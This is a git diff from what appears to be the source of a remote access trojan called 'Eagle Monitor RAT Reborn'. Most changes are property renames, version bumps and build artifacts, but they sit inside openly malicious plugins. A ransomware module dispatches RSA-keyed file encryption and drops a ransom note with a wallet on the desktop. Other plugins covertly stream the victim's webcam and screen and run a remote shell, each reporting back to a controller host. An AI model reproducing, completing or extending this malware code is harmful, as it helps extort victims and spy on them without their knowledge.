diff --git a/Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.csproj.CoreCompileInputs.cache
index 81e20cc9..9b50e2b4 100644
--- a/Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-1217d5a5b169b748b2f14bee455ccb0841ec4ff3
+36c7bd23a762e3ab56e52355427ea08784d8ff0a
diff --git a/Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.dll b/Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.dll
index 3a3e172a..2ddfe97f 100644
Binary files a/Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.dll and b/Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.dll differ
diff --git a/Remote Access Tool/Plugins/Ransomware/ClientHandler.cs b/Remote Access Tool/Plugins/Ransomware/ClientHandler.cs
index ecf6acf7..c82a764e 100644
--- a/Remote Access Tool/Plugins/Ransomware/ClientHandler.cs
+++ b/Remote Access Tool/Plugins/Ransomware/ClientHandler.cs
@@ -86,7 +86,7 @@ private int SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
lock (socket)
{
diff --git a/Remote Access Tool/Plugins/Ransomware/Launch.cs b/Remote Access Tool/Plugins/Ransomware/Launch.cs
index 809a5e41..b5f2443f 100644
--- a/Remote Access Tool/Plugins/Ransomware/Launch.cs
+++ b/Remote Access Tool/Plugins/Ransomware/Launch.cs
@@ -15,11 +15,11 @@ public static class Launch
{
public static void Main(LoadingAPI loadingAPI)
{
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.RANSOMWARE_ENCRYPTION:
- RansomwareEncryptionPacket ransomwareEncryptionPacket = (RansomwareEncryptionPacket)loadingAPI.currentPacket;
+ RansomwareEncryptionPacket ransomwareEncryptionPacket = (RansomwareEncryptionPacket)loadingAPI.CurrentPacket;
ActionEncryption encryption = new ActionEncryption(
ransomwareEncryptionPacket.publicRSAServerKey,
ransomwareEncryptionPacket.paths,
@@ -31,7 +31,7 @@ public static void Main(LoadingAPI loadingAPI)
break;
case PacketType.RANSOMWARE_DECRYPTION:
- RansomwareDecryptionPacket ransomwareDecryptionPacket = (RansomwareDecryptionPacket)loadingAPI.currentPacket;
+ RansomwareDecryptionPacket ransomwareDecryptionPacket = (RansomwareDecryptionPacket)loadingAPI.CurrentPacket;
ActionDecryption decryption = new ActionDecryption(
ransomwareDecryptionPacket.privateRSAServerKey
);
diff --git a/Remote Access Tool/Plugins/Ransomware/Operation/ActionEncryption.cs b/Remote Access Tool/Plugins/Ransomware/Operation/ActionEncryption.cs
index 2dbf1c71..06904860 100644
--- a/Remote Access Tool/Plugins/Ransomware/Operation/ActionEncryption.cs
+++ b/Remote Access Tool/Plugins/Ransomware/Operation/ActionEncryption.cs
@@ -171,7 +171,7 @@ private void EndAction(IAsyncResult ar)
File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\Notes.txt", this.wallet + Environment.NewLine + Environment.NewLine + this.message);
- Launch.ClientSender(this.loadingAPI.host, this.loadingAPI.key, new RansomwareConfirmationPacket(PacketType.RANSOMWARE_ENCRYPTION_CONFIRMATION, fullResults, this.loadingAPI.baseIp, this.loadingAPI.HWID));
+ Launch.ClientSender(this.loadingAPI.Host, this.loadingAPI.Key, new RansomwareConfirmationPacket(PacketType.RANSOMWARE_ENCRYPTION_CONFIRMATION, fullResults, this.loadingAPI.BaseIp, this.loadingAPI.HWID));
}
}
}
diff --git a/Remote Access Tool/Plugins/Ransomware/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/Ransomware/Properties/AssemblyInfo.cs
index 1a9f1f58..216e6174 100644
--- a/Remote Access Tool/Plugins/Ransomware/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/Ransomware/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..d9d581db
Binary files /dev/null and b/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..e3d87839
Binary files /dev/null and b/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..1de34303
Binary files /dev/null and b/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.csproj.AssemblyReference.cache
index 4803cd9c..2a6ba700 100644
Binary files a/Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.csproj.CoreCompileInputs.cache
index c74d2c2a..e83e8876 100644
--- a/Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-4db0d55c673c1c82a22dffd98cc5463f7e73bb6f
+52790f521b9db5a6e0ed4d91900144593faecfad
diff --git a/Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.dll b/Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.dll
index 90bdd8b9..fa005a86 100644
Binary files a/Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.dll and b/Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.dll differ
diff --git a/Remote Access Tool/Plugins/RemoteCamera/ClientHandler.cs b/Remote Access Tool/Plugins/RemoteCamera/ClientHandler.cs
index 49b73c50..22eabc16 100644
--- a/Remote Access Tool/Plugins/RemoteCamera/ClientHandler.cs
+++ b/Remote Access Tool/Plugins/RemoteCamera/ClientHandler.cs
@@ -158,7 +158,7 @@ public void EndPacketRead(IAsyncResult ar)
public void ParsePacket(IPacket packet)
{
- switch (packet.packetType)
+ switch (packet.PacketType)
{
case PacketType.RC_CAPTURE_ON:
Launch.remoteCameraCapturePacket = (RemoteCameraCapturePacket)packet;
@@ -193,7 +193,7 @@ private PacketType SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
lock (socket)
{
@@ -224,14 +224,14 @@ private PacketType SendData(IPacket data)
datalft -= sent;
}
}
- return data.packetType;
+ return data.PacketType;
}
catch (Exception)
{
Connected = false;
}
- return data.packetType;
+ return data.PacketType;
}
}
private void SendDataCompleted(IAsyncResult ar)
diff --git a/Remote Access Tool/Plugins/RemoteCamera/Helpers.cs b/Remote Access Tool/Plugins/RemoteCamera/Helpers.cs
index e60f5157..65c336ab 100644
--- a/Remote Access Tool/Plugins/RemoteCamera/Helpers.cs
+++ b/Remote Access Tool/Plugins/RemoteCamera/Helpers.cs
@@ -70,7 +70,7 @@ private static void CaptureRun(object sender, NewFrameEventArgs e)
byte[] compressed = Compressor.QuickLZ.Compress(Camstream.ToArray(), 1);
RemoteCameraCapturePacket remoteCameraCapturePacket = new RemoteCameraCapturePacket(compressed)
{
- baseIp = Launch.clientHandler.baseIp,
+ BaseIp = Launch.clientHandler.baseIp,
HWID = Launch.clientHandler.HWID
};
Launch.clientHandler.SendPacket(remoteCameraCapturePacket);
diff --git a/Remote Access Tool/Plugins/RemoteCamera/Launch.cs b/Remote Access Tool/Plugins/RemoteCamera/Launch.cs
index b529ddeb..09d3bcad 100644
--- a/Remote Access Tool/Plugins/RemoteCamera/Launch.cs
+++ b/Remote Access Tool/Plugins/RemoteCamera/Launch.cs
@@ -19,12 +19,12 @@ public static class Launch
public static void Main(LoadingAPI loadingAPI)
{
cameraCapture = false;
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.RC_GET_CAM:
- ClientHandler clientHandlerGetCam = new ClientHandler(loadingAPI.host, loadingAPI.key, loadingAPI.baseIp, loadingAPI.HWID);
+ ClientHandler clientHandlerGetCam = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID);
clientHandlerGetCam.ConnectStart();
- RemoteCameraPacket remoteCameraPacket = new RemoteCameraPacket(GetCameras.GetListCameras(), loadingAPI.baseIp, loadingAPI.HWID);
+ RemoteCameraPacket remoteCameraPacket = new RemoteCameraPacket(GetCameras.GetListCameras(), loadingAPI.BaseIp, loadingAPI.HWID);
while (!clientHandlerGetCam.Connected)
Thread.Sleep(125);
clientHandlerGetCam.SendPacket(remoteCameraPacket);
@@ -32,8 +32,8 @@ public static void Main(LoadingAPI loadingAPI)
case PacketType.RC_CAPTURE_ON:
cameraCapture = true;
- remoteCameraCapturePacket = (RemoteCameraCapturePacket)loadingAPI.currentPacket;
- clientHandler = new ClientHandler(loadingAPI.host, loadingAPI.key, loadingAPI.baseIp, loadingAPI.HWID);
+ remoteCameraCapturePacket = (RemoteCameraCapturePacket)loadingAPI.CurrentPacket;
+ clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID);
clientHandler.ConnectStart();
break;
diff --git a/Remote Access Tool/Plugins/RemoteCamera/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/RemoteCamera/Properties/AssemblyInfo.cs
index e46d3987..a277a95e 100644
--- a/Remote Access Tool/Plugins/RemoteCamera/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/RemoteCamera/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/RemoteCamera/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..d9d581db
Binary files /dev/null and b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/RemoteCamera/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..e3d87839
Binary files /dev/null and b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/RemoteCamera/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..1de34303
Binary files /dev/null and b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.AssemblyReference.cache
index 62829271..50d843fb 100644
Binary files a/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.CoreCompileInputs.cache
index 52c72796..95355bc0 100644
--- a/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-642964a041f147af879194ce445e26234d9fd346
+6c67a8558ff2c45b5ac807f3e4567e0f90272fe7
diff --git a/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.Fody.CopyLocal.cache b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.Fody.CopyLocal.cache
index ad9cf973..dd8b1b30 100644
--- a/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.Fody.CopyLocal.cache
+++ b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.Fody.CopyLocal.cache
@@ -1,3 +1,3 @@
-F:\$$$$$\Eagle Monitor RAT Reborn\packages\AForge.2.2.5\lib\AForge.xml
-F:\$$$$$\Eagle Monitor RAT Reborn\packages\AForge.Video.2.2.5\lib\AForge.Video.xml
-F:\$$$$$\Eagle Monitor RAT Reborn\packages\AForge.Video.DirectShow.2.2.5\lib\AForge.Video.DirectShow.xml
+E:\$$$$$\Eagle Monitor RAT Reborn\packages\AForge.2.2.5\lib\AForge.xml
+E:\$$$$$\Eagle Monitor RAT Reborn\packages\AForge.Video.2.2.5\lib\AForge.Video.xml
+E:\$$$$$\Eagle Monitor RAT Reborn\packages\AForge.Video.DirectShow.2.2.5\lib\AForge.Video.DirectShow.xml
diff --git a/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.dll b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.dll
index cb34b6de..8c7c29f1 100644
Binary files a/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.dll and b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.dll differ
diff --git a/Remote Access Tool/Plugins/RemoteDesktop/ClientHandler.cs b/Remote Access Tool/Plugins/RemoteDesktop/ClientHandler.cs
index bc583c6c..889933ef 100644
--- a/Remote Access Tool/Plugins/RemoteDesktop/ClientHandler.cs
+++ b/Remote Access Tool/Plugins/RemoteDesktop/ClientHandler.cs
@@ -165,7 +165,7 @@ public void EndPacketRead(IAsyncResult ar)
public void ParsePacket(IPacket packet)
{
- switch (packet.packetType)
+ switch (packet.PacketType)
{
case PacketType.RM_VIEW_ON:
Launch.remoteViewerBasePacket = (RemoteViewerPacket)packet;
@@ -244,7 +244,7 @@ private int SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
lock (socket)
{
diff --git a/Remote Access Tool/Plugins/RemoteDesktop/Launch.cs b/Remote Access Tool/Plugins/RemoteDesktop/Launch.cs
index ece66ebd..dcae6048 100644
--- a/Remote Access Tool/Plugins/RemoteDesktop/Launch.cs
+++ b/Remote Access Tool/Plugins/RemoteDesktop/Launch.cs
@@ -16,11 +16,11 @@ public static class Launch
internal static RemoteViewerPacket remoteViewerBasePacket;
public static void Main(LoadingAPI loadingAPI)
{
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.RM_VIEW_ON:
- remoteViewerBasePacket = (RemoteViewerPacket)loadingAPI.currentPacket;
- clientHandler = new ClientHandler(loadingAPI.host, loadingAPI.key, loadingAPI.baseIp, loadingAPI.HWID);
+ remoteViewerBasePacket = (RemoteViewerPacket)loadingAPI.CurrentPacket;
+ clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID);
clientHandler.ConnectStart();
break;
default:
diff --git a/Remote Access Tool/Plugins/RemoteDesktop/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/RemoteDesktop/Properties/AssemblyInfo.cs
index 67451d55..210d809f 100644
--- a/Remote Access Tool/Plugins/RemoteDesktop/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/RemoteDesktop/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.AssemblyReference.cache
index c6b72c58..eb9d7c93 100644
Binary files a/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.CoreCompileInputs.cache
index 92eace91..2f451a24 100644
--- a/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-e4d553b924e9d3ea2383e695644ad82915d83cf5
+a2e2cbf0cdbe0b606d0a71b913102b4aca64fb6f
diff --git a/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.dll b/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.dll
index 2fffd2f3..e2f65891 100644
Binary files a/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.dll and b/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.dll differ
diff --git a/Remote Access Tool/Plugins/RemoteShell/ClientHandler.cs b/Remote Access Tool/Plugins/RemoteShell/ClientHandler.cs
index 74c408b8..abf63153 100644
--- a/Remote Access Tool/Plugins/RemoteShell/ClientHandler.cs
+++ b/Remote Access Tool/Plugins/RemoteShell/ClientHandler.cs
@@ -87,7 +87,7 @@ public void EndConnect(IAsyncResult ar)
shellHander = new ShellHander(this.isPWS);
StartShellSessionPacket startShellSessionPacket = new StartShellSessionPacket(this.isPWS)
{
- baseIp = this.baseIp,
+ BaseIp = this.baseIp,
HWID = this.HWID
};
this.SendPacket(startShellSessionPacket);
@@ -170,7 +170,7 @@ public void EndPacketRead(IAsyncResult ar)
public void ParsePacket(IPacket packet)
{
- switch (packet.packetType)
+ switch (packet.PacketType)
{
case PacketType.SHELL_COMMAND:
NewCommandShellSessionPacket newCommandShellSessionPacket = (NewCommandShellSessionPacket)packet;
@@ -203,7 +203,7 @@ private PacketType SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
lock (socket)
{
@@ -234,7 +234,7 @@ private PacketType SendData(IPacket data)
datalft -= sent;
}
}
- return data.packetType;
+ return data.PacketType;
}
catch (Exception)
@@ -242,7 +242,7 @@ private PacketType SendData(IPacket data)
Connected = false;
}
}
- return data.packetType;
+ return data.PacketType;
}
private void SendDataCompleted(IAsyncResult ar)
diff --git a/Remote Access Tool/Plugins/RemoteShell/Launch.cs b/Remote Access Tool/Plugins/RemoteShell/Launch.cs
index dbc3abcb..5f8471ab 100644
--- a/Remote Access Tool/Plugins/RemoteShell/Launch.cs
+++ b/Remote Access Tool/Plugins/RemoteShell/Launch.cs
@@ -15,10 +15,10 @@ public static class Launch
public static void Main(LoadingAPI loadingAPI)
{
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.SHELL_START:
- clientHandler = new ClientHandler(loadingAPI.host, loadingAPI.key, loadingAPI.baseIp, loadingAPI.HWID, ((StartShellSessionPacket)loadingAPI.currentPacket).isPWS);
+ clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID, ((StartShellSessionPacket)loadingAPI.CurrentPacket).isPWS);
clientHandler.ConnectStart();
break;
default:
diff --git a/Remote Access Tool/Plugins/RemoteShell/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/RemoteShell/Properties/AssemblyInfo.cs
index eab748a9..2f007de3 100644
--- a/Remote Access Tool/Plugins/RemoteShell/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/RemoteShell/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/RemoteShell/ShellHander.cs b/Remote Access Tool/Plugins/RemoteShell/ShellHander.cs
index 1b0f7111..8cad31ec 100644
--- a/Remote Access Tool/Plugins/RemoteShell/ShellHander.cs
+++ b/Remote Access Tool/Plugins/RemoteShell/ShellHander.cs
@@ -114,7 +114,7 @@ private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError)
StdOutShellSessionPacket stdOutShellSession = new StdOutShellSessionPacket(toSend)
{
- baseIp = Launch.clientHandler.baseIp,
+ BaseIp = Launch.clientHandler.baseIp,
HWID = Launch.clientHandler.HWID
};
diff --git a/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.AssemblyReference.cache
index 33541117..48cfb0a9 100644
Binary files a/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.CoreCompileInputs.cache
index 10338c4d..77cdfd3c 100644
--- a/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-adacf72be1efc607f917813c5e0b11632178f4a1
+ea63fe10f09e3b80c782a888e5ea38029b453d59
diff --git a/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.FileListAbsolute.txt b/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.FileListAbsolute.txt
index 4fe480a0..5dec7d31 100644
--- a/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.FileListAbsolute.txt
+++ b/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.FileListAbsolute.txt
@@ -1,10 +1,8 @@
E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteShell.dll
-E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteShell.pdb
E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.AssemblyReference.cache
E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.CoreCompileInputs.cache
E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.CopyComplete
E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.dll
-E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.pdb
F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteShell.dll
F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.AssemblyReference.cache
F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.CoreCompileInputs.cache
diff --git a/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.dll b/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.dll
index 204d7441..b06e5130 100644
Binary files a/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.dll and b/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.dll differ
diff --git a/Remote Access Tool/Plugins/ScreenLocker/Launch.cs b/Remote Access Tool/Plugins/ScreenLocker/Launch.cs
index fc66d354..5fd9cc6f 100644
--- a/Remote Access Tool/Plugins/ScreenLocker/Launch.cs
+++ b/Remote Access Tool/Plugins/ScreenLocker/Launch.cs
@@ -13,7 +13,7 @@ public static class Launch
{
public static void Main(LoadingAPI loadingAPI)
{
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.MISC_SCREENLOCKER_ON:
Helpers.StartScreenLocker();
diff --git a/Remote Access Tool/Plugins/ScreenLocker/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/ScreenLocker/Properties/AssemblyInfo.cs
index 17ca1379..252d92a6 100644
--- a/Remote Access Tool/Plugins/ScreenLocker/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/ScreenLocker/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..d9d581db
Binary files /dev/null and b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..e3d87839
Binary files /dev/null and b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed differ
